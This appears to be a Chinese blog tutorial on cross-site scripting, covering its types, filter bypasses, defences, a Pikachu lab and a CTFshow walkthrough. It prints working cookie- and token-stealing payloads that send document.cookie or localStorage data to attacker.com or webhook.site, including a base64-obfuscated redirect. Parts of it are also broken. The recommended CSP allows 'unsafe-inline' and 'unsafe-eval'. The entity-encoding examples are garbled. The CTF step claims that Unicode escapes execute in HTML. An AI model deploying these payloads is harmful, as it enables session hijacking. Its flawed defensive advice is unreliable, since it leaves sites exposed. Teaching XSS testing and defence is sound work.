1. XSS攻击的本质与分类
跨站脚本攻击(Cross-Site Scripting,简称XSS)作为OWASP Top 10长期上榜的安全威胁,本质上是一种将恶意脚本注入到可信网站中的攻击手段。与名称中的"跨站"暗示不同,XSS攻击的核心在于"脚本执行"而非"跨站"——攻击者利用网站对用户输入过滤不严的漏洞,将恶意代码植入到正常网页中,当其他用户访问该页面时,浏览器会误将这些脚本当作合法内容执行。
1.1 反射型XSS:即时生效的攻击链
反射型XSS(Reflected XSS)是最常见的攻击形式,其典型特征是恶意脚本作为请求参数直接出现在URL中,服务器未做过滤就将参数内容返回给客户端。例如一个搜索页面接收search?q=<script>alert(1)</script>参数时,如果原样输出搜索关键词就会触发脚本执行。这种攻击通常需要诱导用户点击特制链接,在钓鱼邮件、短链接跳转等场景中尤为危险。
我在实际渗透测试中发现,即使现代浏览器内置了XSS过滤器,攻击者仍可通过拆分恶意代码(如<img src=x onerror=alert(1)>)或使用编码混淆(如%3Cscript%3Ealert(1)%3C/script%3E)绕过基础防护。2022年某电商平台优惠券系统就曾因URL参数直接输出导致大规模反射型XSS漏洞,攻击者通过社交平台传播恶意链接,窃取了大量用户会话cookie。
1.2 存储型XSS:持久化的威胁
存储型XSS(Stored XSS)比反射型危害更大,恶意脚本被永久保存在服务器端(如数据库、评论内容、用户资料等),所有访问受影响页面的用户都会自动执行攻击代码。典型的攻击场景包括:
- 论坛评论区插入
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - 用户昵称字段注入
<svg onload=alert(1)> - 文件上传功能允许HTML/JS文件
去年某知名博客平台就因Markdown解析器缺陷导致存储型XSS漏洞,攻击者通过在文章内容中插入)这样的畸形标记,使得所有阅读该文章的用户设备都会执行任意JavaScript代码。这类漏洞的修复往往需要回溯清理数据库中的历史恶意数据,成本极高。
1.3 DOM型XSS:客户端的沦陷
DOM型XSS(DOM-based XSS)的特殊之处在于漏洞完全存在于客户端JavaScript代码中,不涉及服务器响应。当页面脚本使用location.hash、document.write等危险API直接操作DOM时,如果参数可控就会产生漏洞。例如:
javascript复制// 漏洞代码
const userInput = decodeURIComponent(window.location.hash.slice(1));
document.getElementById('output').innerHTML = userInput;
// 攻击URL
http://example.com/#<img src=x onerror=alert(document.domain)>
我在审计某SPA应用时曾发现,其使用eval(window.location.search)来实现动态配置加载,这相当于为攻击者提供了直接执行任意代码的后门。DOM型XSS的检测需要深入分析前端代码逻辑,传统扫描工具往往难以覆盖。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. XSS攻击的武器库与演变
2.1 经典攻击向量剖析
基础的XSS测试语句如<script>alert(1)</script>虽然直观,但在实际攻击中效果有限。有经验的攻击者会使用更隐蔽的Payload:
html复制<!-- 利用图片标签的onerror事件 -->
<img src=x onerror="fetch('/steal?cookie='+document.cookie)">
<!-- SVG向量图形中的脚本执行 -->
<svg><script>alert(1)</script></svg>
<!-- 伪协议利用 -->
<a href="javascript:eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vYXR0YWNrZXIuY29tP2M9Jytkb2N1bWVudC5jb29raWU='))">点击领奖</a>
<!-- 现代浏览器支持的HTML5特性 -->
<video poster=javascript:alert(1)></video>
在最近参与的CTF比赛中,一道题目要求通过outputstream.write(filecontent)实现存储型XSS。这里的关键是控制filecontent内容,我通过上传包含恶意脚本的HTML文件,配合服务端错误的Content-Type配置(如返回text/plain而非application/octet-stream),最终触发了脚本执行。
2.2 绕过过滤的高级技巧
随着防御措施的完善,XSS攻击也发展出各种绕过技术:
-
编码混淆:
- HTML实体编码:
<script>alert(1)</script> - JS Unicode转义:
\u003Cscript\u003Ealert(1)\u003C/script\u003E - Base64编码:
<script>eval(atob('YWxlcnQoMSk7'))</script>
- HTML实体编码:
-
上下文感知Payload:
- 在HTML属性中:
" onmouseover="alert(1)" x=" - 在JavaScript字符串中:
';alert(1);// - 在模板字符串中:
${alert(1)}
- 在HTML属性中:
-
冷门标签利用:
html复制<details open ontoggle=alert(1)> <iframe srcdoc="<script>alert(1)</script>"> <math><mtext><script>alert(1)</script></mtext></math>
某次渗透测试中,目标网站使用正则表达式/<script.*?>.*?<\/script>/gi过滤脚本标签,我通过<scr<script>ipt>alert(1)</scr</script>ipt>这样的嵌套拆分成功绕过。这显示出黑名单过滤策略的局限性。
3. 防御体系的构建与实践
3.1 输入输出双重防护
有效的XSS防御需要实施纵深防御策略:
-
输入验证:
- 使用白名单而非黑名单(如只允许字母数字)
- 对特殊上下文进行特定过滤:
java复制// 使用Hutool的XSS过滤工具 String safe = HtmlFilter.filter(unsafeInput); - 文件上传时检查Content-Type和文件头
-
输出编码:
- HTML正文:
<→&lt; - HTML属性:
"→" - JavaScript字符串:
\x3cscript\x3e - URL参数:
%3Cscript%3E
- HTML正文:
-
内容安全策略(CSP):
通过HTTP头定义可信来源:code复制Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'; style-src 'self' https://cdn.example.com; img-src *;
在Spring Boot项目中,我曾通过自定义Filter实现全局XSS防护:
java复制public class XssFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
chain.doFilter(new XssRequestWrapper((HttpServletRequest) request), response);
}
}
public class XssRequestWrapper extends HttpServletRequestWrapper {
public XssRequestWrapper(HttpServletRequest request) {
super(request);
}
@Override
public String getParameter(String name) {
return HtmlUtils.htmlEscape(super.getParameter(name));
}
}
3.2 现代前端框架的防护机制
React、Vue等框架提供了内置的XSS防护:
- React自动转义所有嵌入JSX的表达式
- Vue的
v-bind和{{ }}插值默认进行HTML转义 - Angular的模板语法会自动消毒危险内容
但要注意这些防护存在边界情况:
javascript复制// React中dangerouslySetInnerHTML的误用
<div dangerouslySetInnerHTML={{__html: userContent}} />
// Vue中v-html指令的风险
<div v-html="userContent"></div>
在某次代码审计中,我发现开发者为了支持富文本,直接关闭了Sanitizer:
javascript复制// 危险配置示例
new Vue({
el: '#app',
data: {
content: '<script>malicious()</script>'
},
template: `<div v-html="content"></div>`
})
正确的做法是使用专门的库如DOMPurify进行可控的HTML净化:
javascript复制import DOMPurify from 'dompurify';
new Vue({
el: '#app',
data: {
content: '<b>Safe</b><script>malicious()</script>'
},
computed: {
safeContent() {
return DOMPurify.sanitize(this.content);
}
},
template: `<div v-html="safeContent"></div>`
})
4. 实战演练与漏洞挖掘
4.1 使用Pikachu靶场实践
Pikachu是一个开源的Web漏洞练习平台,其XSS模块包含各类典型场景:
-
反射型XSS挑战:
- 测试搜索框:输入
<script>alert(document.domain)</script> - 观察是否弹出警告框
- 尝试绕过基础过滤:
html复制<img src=x onerror=alert(1)> <svg/onload=alert(1)>
- 测试搜索框:输入
-
存储型XSS实验:
- 在留言板提交:
html复制<script>setInterval(()=>{ fetch('http://attacker.com/log?data='+localStorage.getItem('token')) }, 5000)</script> - 检查其他用户访问时是否触发外联请求
- 在留言板提交:
-
DOM型XSS分析:
- 审查页面JavaScript代码
- 查找
innerHTML、document.write等危险API - 测试URL片段注入:
code复制http://target.com/#<img src=x onerror=alert(1)>
4.2 CTFshow Web入门XSS题解
以CTFshow的Web入门题为例,演示实际解题思路:
题目描述:
页面有一个输入框,提交后显示"Hello [输入内容]",试构造XSS获取管理员cookie。
解题步骤:
-
基础测试:
html复制<script>alert(1)</script>发现被过滤
-
尝试事件处理器:
html复制
" onmouseover="alert(1)发现引号被转义
-
使用Unicode编码:
html复制
\u003Cscript\u003Ealert(1)\u003C/script\u003E成功执行
-
构造窃取cookie的Payload:
javascript复制<script> fetch('https://webhook.site/[YOUR-ID]?cookie='+document.cookie) </script> -
实际攻击中需要缩短Payload:
html复制<script>location='http://attacker.com/?c='+document.cookie</script>
关键收获:
- 多尝试不同编码方式
- 注意Payload长度限制
- 真实场景要考虑CSP限制
4.3 企业级漏洞扫描实践
在正式环境中,我通常采用分层检测策略:
-
自动化扫描:
- 使用Burp Suite、ZAP等工具进行被动扫描
- 配置Active Scan策略检测XSS变种
- 注意扫描可能触发的业务逻辑(如频繁测试导致账号锁定)
-
手动验证:
- 对关键功能点手动构造测试用例
- 特别关注:
- 文件上传功能
- 富文本编辑器
- 用户资料页面
- API响应中的反射参数
-
代码审计:
- 检查未转义的模板变量:
php复制<?php echo $_GET['input']; ?> // 危险 - 查找危险的JavaScript操作:
javascript复制element.innerHTML = userControlledData; - 审计第三方库的XSS风险
- 检查未转义的模板变量:
某次金融项目审计中,我发现虽然主要功能都有防护,但错误页面处理存在漏洞:
java复制// 错误示例
response.sendError(500, "Error processing: " + request.getParameter("txnId"));
攻击者可以构造包含脚本的txnId参数,当系统出错时会原样输出,形成反射型XSS。这类深层次问题往往需要人工代码审查才能发现。
